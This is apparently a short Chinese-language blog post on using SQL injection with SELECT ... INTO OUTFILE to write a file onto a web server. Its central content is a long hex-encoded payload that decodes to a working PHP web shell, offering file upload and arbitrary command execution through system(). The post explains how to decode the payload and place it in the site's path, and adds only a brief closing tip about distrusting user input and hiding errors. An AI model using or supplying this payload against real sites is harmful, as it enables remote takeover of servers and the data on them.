之前其實我一直在想 怎可以透過sql injection注入程式碼進去
原來發現其實 sql會吃hex編碼的東西 = =++ 所以可以把你要的程式碼hex過後丟sql
像是你sql語法可以下
select 1,2,0x3c7072653e3c626f6479206267636f6c6f723d73696c7665723e3c3f7068702069662840636f707928245f46494c45535b2766696c65275d5b27746d705f6e616d65275d2c245f46494c45535b2766696c65275d5b276e616d65275d2929206563686f2022677265617420756e79696c22203f3e3c666f726d206d6574686f643d27706f73742720656e63747970653d276d756c7469706172742f666f726d2d64617461273e3c696e70757420747970653d2766696c6527206e616d653d2766696c65272073697a653d273430273e3c696e70757420747970653d277375626d6974272076616c75653d27676f20686f6e6579273e3c2f666f726d3e3c70202f3e3c666f726d206d6574686f643d27706f7374273e636f6d6d616e64203a203c696e70757420747970653d277465787427206e616d653d27636d64272073697a653d27353027203e3c2f666f726d3e203c3f204073797374656d28245f524551554553545b27636d64275d293f3e3c2f7072653e,4,5,6 into outfile ‘d:gg.php’ from table
上面可以看到有一串 0x3c ….. 653e的超長字串
這就是個hex資料
而透過 http://www.rapidtables.com/convert/number/hex-to-ascii.htm 這個網站
可以把上述的hex檔轉換回來html碼
至於為何可以把檔案寫到主機裡面呢? 這是因為sql有一個匯入備份的機制 可以把資料庫匯出到主機的任意位置 也就是 select * into outfile ‘d:gg.php’ from table 這句的功能
就可以把資料庫匯出至D槽的gg.php檔案去
所以上面方法再搭配sql injection後 知道你web網站的實體路徑位置在哪 就可以搞定任意上傳執行的功能拉 !!
所以永遠不要相信使用者給你的任何資料阿!! 另外就是網站的error display上線後一定要關掉!(可是你要是原始安裝是預設路徑其實有沒有關好像也沒差了XD 還是照打不誤就是